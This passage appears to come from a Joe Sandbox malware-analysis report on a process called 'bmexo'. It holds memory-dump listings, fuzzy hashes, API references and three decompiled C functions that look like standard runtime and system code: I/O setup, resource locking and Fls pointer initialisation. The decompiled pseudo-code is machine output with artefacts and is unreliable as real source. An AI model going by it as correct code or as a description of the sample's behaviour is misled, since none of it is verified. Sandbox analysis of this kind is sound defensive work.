0x009e0b08
0x009e0ae6
0x009e0b44
0x009e09f8
0x009e09f8
0x009e09f9
0x00000000
0x00000000
0x00a0eaa0
0x00000000

APIs

__fassign.LIBCMT ref: 009E0BF6
__fassign.LIBCMT ref: 009E0CA2

Strings

., xrefs: 009E0A0C
:, xrefs: 009E0BA9
:, xrefs: 009E0AC7

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: __fassign
String ID: .$:$:
API String ID: 3965848254-2308638275
Opcode ID: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction ID: 58f9573f75302e6261b89caa9e68bcf2e6105aaa909f6d7929a76180cba6a043
Opcode Fuzzy Hash: b15de34944a390e3fa5e98378680e2de18144008d38fd4e6897fe19ea25b26ab
Instruction Fuzzy Hash: F1A1BF71D0038ADBCF26CF56C8447BEB7B8BB95704F24896AD482A7281D7B49EC1CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00F238A8 Relevance: 12.2, APIs: 8, Instructions: 229
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00F238A8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t82;
				signed int _t86;
				long _t90;
				void* _t91;
				intOrPtr _t94;
				signed int _t98;
				signed int _t99;
				signed char _t103;
				void** _t105;
				void** _t106;
				void** _t109;
				signed char _t111;
				long _t119;
				void* _t129;
				signed int* _t133;
				void* _t135;
				signed int* _t138;
				void** _t139;
				void* _t141;
				signed int _t142;
				signed int _t143;
				void** _t147;
				signed int _t149;
				void* _t150;
				void** _t154;
				void* _t155;
				void* _t156;

				_push(0x64);
				_push(0xf32260);
				E00F22400(__ebx, __edi, __esi);
				E00F2442F(0xb);
				 *(_t155 - 4) = 0;
				_push(0x40);
				_t141 = 0x20;
				_push(_t141);
				_t82 = E00F24869();
				_t133 = _t82;
				 *(_t155 - 0x24) = _t133;
				if(_t133 != 0) {
					 *0xf34848 = _t82;
					 *0xf350e4 = _t141;
					while(_t133 <  &(_t82[0x200])) {
						_t133[1] = 0xa00;
						 *_t133 =  *_t133 | 0xffffffff;
						_t133[2] = 0;
						_t133[9] = _t133[9] & 0x00000080;
						_t133[9] = _t133[9] & 0x0000007f;
						_t133[9] = 0xa0a;
						_t133[0xe] = 0;
						_t133[0xd] = 0;
						_t133 =  &(_t133[0x10]);
						 *(_t155 - 0x24) = _t133;
						_t82 =  *0xf34848; // 0x0
					}
					GetStartupInfoW(_t155 - 0x74);
					if( *((short*)(_t155 - 0x42)) == 0) {
						L27:
						_t129 = 0xfffffffe;
						L28:
						_t142 = 0;
						while(1) {
							 *(_t155 - 0x2c) = _t142;
							if(_t142 >= 3) {
								break;
							}
							_t147 =  *0xf34848 + (_t142 << 6);
							 *(_t155 - 0x24) = _t147;
							if( *_t147 == 0xffffffff ||  *_t147 == _t129) {
								_t147[1] = 0x81;
								if(_t142 != 0) {
									_t65 = _t142 - 1; // -1
									asm("sbb eax, eax");
									_t90 =  ~_t65 + 0xfffffff5;
								} else {
									_t90 = 0xfffffff6;
								}
								_t91 = GetStdHandle(_t90);
								 *(_t155 - 0x1c) = _t91;
								if(_t91 == 0xffffffff || _t91 == 0) {
									L45:
									_t147[1] = _t147[1] | 0x00000040;
									 *_t147 = _t129;
									_t94 =  *0xf36100;
									if(_t94 != 0) {
										 *( *((intOrPtr*)(_t94 + _t142 * 4)) + 0x10) = _t129;
									}
									goto L47;
								} else {
									_t98 = GetFileType(_t91);
									if(_t98 == 0) {
										goto L45;
									}
									 *_t147 =  *(_t155 - 0x1c);
									_t99 = _t98 & 0x000000ff;
									if(_t99 != 2) {
										if(_t99 != 3) {
											L44:
											_t71 =  &(_t147[3]); // -15943740
											E00F240A2(_t71, 0xfa0, 0);
											_t156 = _t156 + 0xc;
											_t147[2] = _t147[2] + 1;
											goto L47;
										}
										_t103 = _t147[1] | 0x00000008;
										L43:
										_t147[1] = _t103;
										goto L44;
									}
									_t103 = _t147[1] | 0x00000040;
									goto L43;
								}
							} else {
								_t147[1] = _t147[1] | 0x00000080;
								L47:
								_t142 = _t142 + 1;
								continue;
							}
						}
						 *(_t155 - 4) = _t129;
						E00F23B53();
						_t86 = 0;
						L49:
						return E00F22445(_t86);
					}
					_t105 =  *(_t155 - 0x40);
					if(_t105 == 0) {
						goto L27;
					}
					_t135 =  *_t105;
					 *(_t155 - 0x1c) = _t135;
					_t106 =  &(_t105[1]);
					 *(_t155 - 0x28) = _t106;
					 *(_t155 - 0x20) = _t106 + _t135;
					if(_t135 >= 0x800) {
						_t135 = 0x800;
						 *(_t155 - 0x1c) = 0x800;
					}
					_t149 = 1;
					 *(_t155 - 0x30) = 1;
					while( *0xf350e4 < _t135) {
						_t138 = E00F24869(_t141, 0x40);
						 *(_t155 - 0x24) = _t138;
						if(_t138 != 0) {
							0xf34848[_t149] = _t138;
							 *0xf350e4 =  *0xf350e4 + _t141;
							while(_t138 <  &(0xf34848[_t149][0x200])) {
								_t138[1] = 0xa00;
								 *_t138 =  *_t138 | 0xffffffff;
								_t138[2] = 0;
								_t138[9] = _t138[9] & 0x00000080;
								_t138[9] = 0xa0a;
								_t138[0xe] = 0;
								_t138[0xd] = 0;
								_t138 =  &(_t138[0x10]);
								 *(_t155 - 0x24) = _t138;
							}
							_t149 = _t149 + 1;
							 *(_t155 - 0x30) = _t149;
							_t135 =  *(_t155 - 0x1c);
							continue;
						}
						_t135 =  *0xf350e4;
						 *(_t155 - 0x1c) = _t135;
						break;
					}
					_t143 = 0;
					 *(_t155 - 0x2c) = 0;
					_t129 = 0xfffffffe;
					_t109 =  *(_t155 - 0x28);
					_t139 =  *(_t155 - 0x20);
					while(_t143 < _t135) {
						_t150 =  *_t139;
						if(_t150 == 0xffffffff || _t150 == _t129) {
							L22:
							_t143 = _t143 + 1;
							 *(_t155 - 0x2c) = _t143;
							_t109 =  &(( *(_t155 - 0x28))[0]);
							 *(_t155 - 0x28) = _t109;
							_t139 =  &(_t139[1]);
							 *(_t155 - 0x20) = _t139;
							continue;
						} else {
							_t111 =  *_t109;
							if((_t111 & 0x00000001) == 0) {
								goto L22;
							}
							if((_t111 & 0x00000008) != 0) {
								L20:
								_t154 = 0xf34848[_t143 >> 5] + ((_t143 & 0x0000001f) << 6);
								 *(_t155 - 0x24) = _t154;
								 *_t154 =  *_t139;
								_t154[1] =  *( *(_t155 - 0x28));
								_t37 =  &(_t154[3]); // 0xd
								E00F240A2(_t37, 0xfa0, 0);
								_t156 = _t156 + 0xc;
								_t154[2] = _t154[2] + 1;
								_t139 =  *(_t155 - 0x20);
								L21:
								_t135 =  *(_t155 - 0x1c);
								goto L22;
							}
							_t119 = GetFileType(_t150);
							_t139 =  *(_t155 - 0x20);
							if(_t119 == 0) {
								goto L21;
							}
							goto L20;
						}
					}
					goto L28;
				}
				_t86 = E00F22600(_t155, 0xf33400, _t155 - 0x10, 0xfffffffe) | 0xffffffff;
				goto L49;
			}

0x00f238a8
0x00f238aa
0x00f238af
0x00f238b6
0x00f238be
0x00f238c1
0x00f238c5
0x00f238c6
0x00f238c7
0x00f238ce
0x00f238d0
0x00f238d5
0x00f238f2
0x00f238f7
0x00f238fd
0x00f23906
0x00f2390c
0x00f2390f
0x00f23912
0x00f2391b
0x00f2391e
0x00f23924
0x00f23927
0x00f2392a
0x00f2392d
0x00f23930
0x00f23930
0x00f2393b
0x00f23946
0x00f23a7b
0x00f23a7d
0x00f23a7e
0x00f23a7e
0x00f23a80
0x00f23a80
0x00f23a86
0x00000000
0x00000000
0x00f23a91
0x00f23a97
0x00f23a9d
0x00f23ab1
0x00f23ab7
0x00f23abe
0x00f23ac3
0x00f23ac5
0x00f23ab9
0x00f23abb
0x00f23abb
0x00f23ac9
0x00f23acf
0x00f23ad5
0x00f23b23
0x00f23b29
0x00f23b2c
0x00f23b2e
0x00f23b35
0x00f23b3a
0x00f23b3a
0x00000000
0x00f23adb
0x00f23adc
0x00f23ae4
0x00000000
0x00000000
0x00f23ae9
0x00f23aeb
0x00f23af3
0x00f23b00
0x00f23b0b
0x00f23b12
0x00f23b16
0x00f23b1b
0x00f23b1e
0x00000000
0x00f23b1e
0x00f23b06
0x00f23b08
0x00f23b08
0x00000000
0x00f23b08
0x00f23af9
0x00000000
0x00f23af9
0x00f23aa3
0x00f23aa9
0x00f23b3d
0x00f23b3d
0x00000000
0x00f23b3d
0x00f23a9d
0x00f23b43
0x00f23b46
0x00f23b4b
0x00f23b4d
0x00f23b52
0x00f23b52
0x00f2394c
0x00f23951
0x00000000
0x00000000
0x00f23957
0x00f23959
0x00f2395c
0x00f2395f
0x00f23964
0x00f2396e
0x00f23970
0x00f23972
0x00f23972
0x00f23977
0x00f23978
0x00f2397b
0x00f2398d
0x00f2398f
0x00f23994
0x00f23a2e
0x00f23a35
0x00f23a3b
0x00f23a4b
0x00f23a51
0x00f23a54
0x00f23a57
0x00f23a5b
0x00f23a61
0x00f23a64
0x00f23a67
0x00f23a6a
0x00f23a6a
0x00f23a6f
0x00f23a70
0x00f23a73
0x00000000
0x00f23a73
0x00f2399a
0x00f239a0
0x00000000
0x00f239a0
0x00f239a3
0x00f239a5
0x00f239aa
0x00f239ab
0x00f239ae
0x00f239b1
0x00f239b9
0x00f239be
0x00f23a1b
0x00f23a1b
0x00f23a1c
0x00f23a22
0x00f23a23
0x00f23a26
0x00f23a29
0x00000000
0x00f239c4
0x00f239c4
0x00f239c8
0x00000000
0x00000000
0x00f239cc
0x00f239dc
0x00f239e9
0x00f239f0
0x00f239f5
0x00f239fc
0x00f23a06
0x00f23a0a
0x00f23a0f
0x00f23a12
0x00f23a15
0x00f23a18
0x00f23a18
0x00000000
0x00f23a18
0x00f239cf
0x00f239d5
0x00f239da
0x00000000
0x00000000
0x00000000
0x00f239da
0x00f239be
0x00000000
0x00f239b1
0x00f238ea
0x00000000

APIs

__lock.LIBCMT ref: 00F238B6

Part of subcall function 00F2442F: __mtinitlocknum.LIBCMT ref: 00F24441
Part of subcall function 00F2442F: EnterCriticalSection.KERNEL32(00000000,?,00F237AB,0000000D), ref: 00F2445A

__calloc_crt.LIBCMT ref: 00F238C7

Part of subcall function 00F24869: __calloc_impl.LIBCMT ref: 00F24878

@_EH4_CallFilterFunc@8.LIBCMT ref: 00F238E2
GetStartupInfoW.KERNEL32(?,00F32260,00000064,00F21654,00F32190,00000014), ref: 00F2393B
__calloc_crt.LIBCMT ref: 00F23986
GetFileType.KERNEL32 ref: 00F239CF

Memory Dump Source

Source File: 00000006.00000002.1052302354.0000000000F21000.00000020.00000001.01000000.00000005.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000006.00000002.1052293820.0000000000F20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052319704.0000000000F2E000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052334096.0000000000F33000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.1052343640.0000000000F37000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_f20000_bmexo.jbxd

Similarity

API ID: __calloc_crt$CallCriticalEnterFileFilterFunc@8InfoSectionStartupType__calloc_impl__lock__mtinitlocknum
String ID:
API String ID: 2772871689-0
Opcode ID: f9df9586100333055fbc5648f6e36e04d5aa3fcaae10efe38433ebe85814fd2c
Instruction ID: dd4e4a338abbaec1797c91964a1c9e8e708664458bfbc02cccb88bade7aa4ab6
Opcode Fuzzy Hash: f9df9586100333055fbc5648f6e36e04d5aa3fcaae10efe38433ebe85814fd2c
Instruction Fuzzy Hash: 4881E5B1D052658FCB14CF68E8416A9BBF0AF45320B24426ED4A6AB3D1C73CE943EB50

Uniqueness

Uniqueness Score: -1.00%

Function 009E0554 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 202
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E009E0554(signed int _a4, char _a8) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int* _t49;
				signed int _t51;
				signed int _t56;
				signed int _t58;
				signed int _t61;
				signed int _t63;
				void* _t66;
				intOrPtr _t67;
				void* _t69;
				signed int _t70;
				void* _t75;
				signed int _t81;
				signed int _t84;
				void* _t86;
				signed int _t93;
				signed int _t96;
				intOrPtr _t105;
				signed int _t107;
				void* _t110;
				signed int _t115;
				signed int* _t119;
				void* _t125;
				void* _t126;
				signed int _t128;
				signed int _t130;
				signed int _t138;
				signed int _t144;
				void* _t158;
				void* _t159;
				void* _t160;

				_t96 = _a4;
				_t115 =  *(_t96 + 0x28);
				_push(_t138);
				if(_t115 < 0) {
					_t105 =  *[fs:0x18];
					__eflags =  *((intOrPtr*)(_t96 + 0x2c)) -  *((intOrPtr*)(_t105 + 0x24));
					if( *((intOrPtr*)(_t96 + 0x2c)) !=  *((intOrPtr*)(_t105 + 0x24))) {
						goto L6;
					} else {
						__eflags = _t115 | 0xffffffff;
						asm("lock xadd [eax], edx");
						return 1;
					}
				} else {
					L6:
					_push(_t128);
					while(1) {
						L7:
						__eflags = _t115;
						if(_t115 >= 0) {
							break;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							__eflags = 0;
							return 0;
						} else {
							 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
							_t49 = _t96 + 0x1c;
							_t106 = 1;
							asm("lock xadd [edx], ecx");
							_t115 =  *(_t96 + 0x28);
							__eflags = _t115;
							if(_t115 < 0) {
								L23:
								_t130 = 0;
								__eflags = 0;
								while(1) {
									_t118 =  *(_t96 + 0x30) & 0x00000001;
									asm("sbb esi, esi");
									_t144 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00a801c0;
									_push(_t144);
									_push(0);
									_t51 = E0099F8CC( *((intOrPtr*)(_t96 + 0x18)));
									__eflags = _t51 - 0x102;
									if(_t51 != 0x102) {
										break;
									}
									_t106 =  *(_t144 + 4);
									_t126 =  *_t144;
									_t86 = L009E4FC0(_t126,  *(_t144 + 4), 0xff676980, 0xffffffff);
									_push(_t126);
									_push(_t86);
									L009F3F92(0x65, 0, "RTL: Acquire Shared Sem Timeout %d(%I64u secs)\n", _t130);
									L009F3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
									_t130 = _t130 + 1;
									_t160 = _t158 + 0x28;
									__eflags = _t130 - 2;
									if(__eflags > 0) {
										E00A2217A(_t106, __eflags, _t96);
									}
									_push("RTL: Re-Waiting\n");
									_push(0);
									_push(0x65);
									L009F3F92();
									_t158 = _t160 + 0xc;
								}
								__eflags = _t51;
								if(__eflags < 0) {
									_push(_t51);
									E009E3915(_t96, _t106, _t118, _t130, _t144, __eflags);
									asm("int3");
									while(1) {
										L32:
										__eflags = _a8;
										if(_a8 == 0) {
											break;
										}
										 *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) =  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0x34)) + 0x14)) + 1;
										_t119 = _t96 + 0x24;
										_t107 = 1;
										asm("lock xadd [eax], ecx");
										_t56 =  *(_t96 + 0x28);
										_a4 = _t56;
										__eflags = _t56;
										if(_t56 != 0) {
											L40:
											_t128 = 0;
											__eflags = 0;
											while(1) {
												_t121 =  *(_t96 + 0x30) & 0x00000001;
												asm("sbb esi, esi");
												_t138 =  !( ~( *(_t96 + 0x30) & 1)) & 0x00a801c0;
												_push(_t138);
												_push(0);
												_t58 = E0099F8CC( *((intOrPtr*)(_t96 + 0x20)));
												__eflags = _t58 - 0x102;
												if(_t58 != 0x102) {
													break;
												}
												_t107 =  *(_t138 + 4);
												_t125 =  *_t138;
												_t75 = L009E4FC0(_t125, _t107, 0xff676980, 0xffffffff);
												_push(_t125);
												_push(_t75);
												L009F3F92(0x65, 0, "RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)\n", _t128);
												L009F3F92(0x65, 0, "RTL: Resource at %p\n", _t96);
												_t128 = _t128 + 1;
												_t159 = _t158 + 0x28;
												__eflags = _t128 - 2;
												if(__eflags > 0) {
													E00A2217A(_t107, __eflags, _t96);
												}
												_push("RTL: Re-Waiting\n");
												_push(0);
												_push(0x65);
												L009F3F92();
												_t158 = _t159 + 0xc;
											}
											__eflags = _t58;
											if(__eflags < 0) {
												_push(_t58);
												E009E3915(_t96, _t107, _t121, _t128, _t138, __eflags);
												asm("int3");
												_t61 =  *_t107;
												 *_t107 = 0;
												__eflags = _t61;
												if(_t61 == 0) {
													L1:
													_t63 = E009C5384(_t138 + 0x24);
													if(_t63 != 0) {
														goto L52;
													} else {
														goto L2;
													}
												} else {
													_t123 =  *((intOrPtr*)(_t138 + 0x18));
													_push( &_a4);
													_push(_t61);
													_t70 = E0099F970( *((intOrPtr*)(_t138 + 0x18)));
													__eflags = _t70;
													if(__eflags >= 0) {
														goto L1;
													} else {
														_push(_t70);
														E009E3915(_t96,  &_a4, _t123, _t128, _t138, __eflags);
														L52:
														_t122 =  *((intOrPtr*)(_t138 + 0x20));
														_push( &_a4);
														_push(1);
														_t63 = E0099F970( *((intOrPtr*)(_t138 + 0x20)));
														__eflags = _t63;
														if(__eflags >= 0) {
															L2:
															return _t63;
														} else {
															_push(_t63);
															E009E3915(_t96,  &_a4, _t122, _t128, _t138, __eflags);
															_t109 =  *((intOrPtr*)(_t138 + 0x20));
															_push( &_a4);
															_push(1);
															_t63 = E0099F970( *((intOrPtr*)(_t138 + 0x20)));
															__eflags = _t63;
															if(__eflags >= 0) {
																goto L2;
															} else {
																_push(_t63);
																_t66 = E009E3915(_t96, _t109, _t122, _t128, _t138, __eflags);
																asm("int3");
																while(1) {
																	_t110 = _t66;
																	__eflags = _t66 - 1;
																	if(_t66 != 1) {
																		break;
																	}
																	_t128 = _t128 | 0xffffffff;
																	_t66 = _t110;
																	asm("lock cmpxchg [ebx], edi");
																	__eflags = _t66 - _t110;
																	if(_t66 != _t110) {
																		continue;
																	} else {
																		_t67 =  *[fs:0x18];
																		 *((intOrPtr*)(_t138 + 0x2c)) =  *((intOrPtr*)(_t67 + 0x24));
																		return _t67;
																	}
																	goto L59;
																}
																E009C5329(_t110, _t138);
																_t69 = E009C53A5(_t138, 1);
																return _t69;
															}
														}
													}
												}
											} else {
												_t56 =  *(_t96 + 0x28);
												goto L3;
											}
										} else {
											_t107 =  *_t119;
											__eflags = _t107;
											if(__eflags > 0) {
												while(1) {
													_t81 = _t107;
													asm("lock cmpxchg [edi], esi");
													__eflags = _t81 - _t107;
													if(_t81 == _t107) {
														break;
													}
													_t107 = _t81;
													__eflags = _t81;
													if(_t81 > 0) {
														continue;
													}
													break;
												}
												_t56 = _a4;
												__eflags = _t107;
											}
											if(__eflags != 0) {
												while(1) {
													L3:
													__eflags = _t56;
													if(_t56 != 0) {
														goto L32;
													}
													_t107 = _t107 | 0xffffffff;
													_t56 = 0;
													asm("lock cmpxchg [edx], ecx");
													__eflags = 0;
													if(0 != 0) {
														continue;
													} else {
														 *((intOrPtr*)(_t96 + 0x2c)) =  *((intOrPtr*)( *[fs:0x18] + 0x24));
														return 1;
													}
													goto L59;
												}
												continue;
											} else {
												goto L40;
											}
										}
										goto L59;
									}
									__eflags = 0;
									return 0;
								} else {
									_t115 =  *(_t96 + 0x28);
									continue;
								}
							} else {
								_t106 =  *_t49;
								__eflags = _t106;
								if(__eflags > 0) {
									while(1) {
										_t93 = _t106;
										asm("lock cmpxchg [edi], esi");
										__eflags = _t93 - _t106;
										if(_t93 == _t106) {
											break;
										}
										_t106 = _t93;
										__eflags = _t93;
										if(_t93 > 0) {
											continue;
										}
										break;
									}
									__eflags = _t106;
								}
								if(__eflags != 0) {
									continue;
								} else {
									goto L23;
								}
							}
						}
						goto L59;
					}
					_t84 = _t115;
					asm("lock cmpxchg [esi], ecx");
					__eflags = _t84 - _t115;
					if(_t84 != _t115) {
						_t115 = _t84;
						goto L7;
					} else {
						return 1;
					}
				}
				L59:
			}

0x009e055a
0x009e055d
0x009e0563
0x009e0566
0x009e05d8
0x009e05e2
0x009e05e5
0x00000000
0x009e05e7
0x009e05e7
0x009e05ea
0x009e05f3
0x009e05f3
0x009e0568
0x009e0568
0x009e0568
0x009e0569
0x009e0569
0x009e0569
0x009e056b
0x00000000
0x00000000
0x00a0217f
0x00a02183
0x00a0225b
0x00a0225f
0x00a02189
0x00a0218c
0x00a0218f
0x00a02194
0x00a02199
0x00a0219d
0x00a021a0
0x00a021a2
0x00a021ce
0x00a021ce
0x00a021ce
0x00a021d0
0x00a021d6
0x00a021de
0x00a021e2
0x00a021e8
0x00a021e9
0x00a021ec
0x00a021f1
0x00a021f6
0x00000000
0x00000000
0x00a021f8
0x00a021fb
0x00a02206
0x00a0220b
0x00a0220c
0x00a02217
0x00a02226
0x00a0222b
0x00a0222c
0x00a0222f
0x00a02232
0x00a02235
0x00a02235
0x00a0223a
0x00a0223f
0x00a02241
0x00a02243
0x00a02248
0x00a02248
0x00a0224d
0x00a0224f
0x00a02262
0x00a02263
0x00a02268
0x00a02269
0x00a02269
0x00a02269
0x00a0226d
0x00000000
0x00000000
0x00a02276
0x00a02279
0x00a0227e
0x00a02283
0x00a02287
0x00a0228a
0x00a0228d
0x00a0228f
0x00a022bc
0x00a022bc
0x00a022bc
0x00a022be
0x00a022c4
0x00a022cc
0x00a022d0
0x00a022d6
0x00a022d7
0x00a022da
0x00a022df
0x00a022e4
0x00000000
0x00000000
0x00a022e6
0x00a022e9
0x00a022f4
0x00a022f9
0x00a022fa
0x00a02305
0x00a02314
0x00a02319
0x00a0231a
0x00a0231d
0x00a02320
0x00a02323
0x00a02323
0x00a02328
0x00a0232d
0x00a0232f
0x00a02331
0x00a02336
0x00a02336
0x00a0233b
0x00a0233d
0x00a02350
0x00a02351
0x00a02356
0x00a02359
0x00a02359
0x00a0235b
0x00a0235d
0x009c5367
0x009c536b
0x009c5372
0x00000000
0x00000000
0x00000000
0x00000000
0x00a02363
0x00a02363
0x00a02369
0x00a0236a
0x00a0236c
0x00a02371
0x00a02373
0x00000000
0x00a02379
0x00a02379
0x00a0237a
0x00a0237f
0x00a0237f
0x00a02385
0x00a02386
0x00a02389
0x00a0238e
0x00a02390
0x009c5378
0x009c537c
0x00a02396
0x00a02396
0x00a02397
0x00a0239c
0x00a023a2
0x00a023a3
0x00a023a6
0x00a023ab
0x00a023ad
0x00000000
0x00a023b3
0x00a023b3
0x00a023b4
0x00a023b9
0x00a023ba
0x00a023ba
0x00a023bc
0x00a023bf
0x00000000
0x00000000
0x009f9153
0x009f9158
0x009f915a
0x009f915e
0x009f9160
0x00000000
0x009f9166
0x009f9166
0x009f9171
0x009f9176
0x009f9176
0x00000000
0x009f9160
0x00a023c6
0x00a023ce
0x00a023d7
0x00a023d7
0x00a023ad
0x00a02390
0x00a02373
0x00a0233f
0x00a0233f
0x00000000
0x00a0233f
0x00a02291
0x00a02291
0x00a02293
0x00a02295
0x00a0229a
0x00a022a1
0x00a022a3
0x00a022a7
0x00a022a9
0x00000000
0x00000000
0x00a022ab
0x00a022ad
0x00a022af
0x00000000
0x00000000
0x00000000
0x00a022af
0x00a022b1
0x00a022b4
0x00a022b4
0x00a022b6
0x009c53be
0x009c53be
0x009c53be
0x009c53c0
0x00000000
0x00000000
0x009c53cb
0x009c53ce
0x009c53d0
0x009c53d4
0x009c53d6
0x00000000
0x009c53d8
0x009c53e3
0x009c53ea
0x009c53ea
0x00000000
0x009c53d6
0x00000000
0x00000000
0x00000000
0x00000000
0x00a022b6
0x00000000
0x00a0228f
0x00a02349
0x00a0234d
0x00a02251
0x00a02251
0x00000000
0x00a02251
0x00a021a4
0x00a021a4
0x00a021a6
0x00a021a8
0x00a021ac
0x00a021b6
0x00a021b8
0x00a021bc
0x00a021be
0x00000000
0x00000000
0x00a021c0
0x00a021c2
0x00a021c4
0x00000000
0x00000000
0x00000000
0x00a021c4
0x00a021c6
0x00a021c6
0x00a021c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00a021c8
0x00a021a2
0x00000000
0x00a02183
0x009e057b
0x009e057d
0x009e0581
0x009e0583
0x00a02178
0x00000000
0x009e0589
0x009e058f
0x009e058f
0x009e0583
0x00000000

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A02206

Strings

RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 00A022FC
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 00A0220E
RTL: Resource at %p, xrefs: 00A0221D, 00A0230B
RTL: Re-Waiting, xrefs: 00A0223A, 00A02328

Memory Dump Source

Source File: 00000006.00000002.1050432541.0000000000990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: true

Associated: 00000006.00000002.1050424338.0000000000980000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051422283.0000000000A70000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051432304.0000000000A80000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051440727.0000000000A84000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051450489.0000000000A87000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051476372.0000000000A90000.00000040.00000800.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.1051559684.0000000000AF0000.00000040.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_980000_bmexo.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-4236105082
Opcode ID: bc38fb5914e74c79d1dfdf0f984b291bd1b54c3975016ce8590b4485f4009013
Instruction ID: 88e760adb3d167d1eb9cb6a70a169e6b7d90ee16fd2d6810c8b08560d104e3e7
Opcode Fuzzy Hash: bc38fb5914e74c79d1dfdf0f984b291bd1b54c3975016ce8590b4485f4009013
Instruction Fuzzy Hash: 57515A31B003456FEB15CB19EC86FA673A9AFD8720F218229FD45DB2C5DA75EC818790

Uniqueness

Uniqueness Score: -1.00%

Function 00F23815 Relevance: 10.5, APIs: 7, Instructions: 45
threadCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00F23815(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;

				E00F21890(_t3);
				if(E00F24560() != 0) {
					_t6 = E00F24001(E00F235A6);
					 *0xf3350c = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_t27 = E00F24869(1, 0x3bc);
						__eflags = _t27;
						if(_t27 == 0) {
							L6:
							E00F2388B();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E00F2405D( *0xf3350c, _t27);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t27);
								E00F23762(__ebx, __edi, _t27, __eflags);
								_t14 = GetCurrentThreadId();
								_t27[1] = _t27[1] | 0xffffffff;
								 *_t27 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E00F2388B();
					return 0;
				}
			}

APIs

__init_pointers.LIBCMT ref: 00F23815

Part of subcall function 00F21890: EncodePointer.KERNEL32(00000000,?,00F2381A,00F2163A,00F32190,00000014), ref: 00F21893
Part of subcall function 00F21890: __initp_misc_winsig.LIBCMT ref: 00F218AE
Part of subcall function 00F21890: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00F24117
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00F2412B
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00F2413E
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00F24151
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00F24164
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00F24177
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00F2418A
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00F2419D
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00F241B0
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00F241C3
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00F241D6
Part of subcall function 00F21890: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00F241E9
